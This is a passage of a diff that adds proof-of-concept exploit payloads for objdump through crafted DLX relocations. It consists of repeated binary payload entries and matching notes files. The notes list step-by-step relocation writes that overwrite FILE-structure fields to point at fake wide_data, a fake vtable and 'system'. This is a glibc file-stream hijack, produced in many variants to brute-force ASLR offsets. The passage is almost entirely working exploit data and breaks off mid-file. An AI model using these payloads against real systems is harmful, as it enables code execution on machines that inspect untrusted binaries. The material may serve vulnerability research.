012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bef210000_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f05_bf020ff00_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
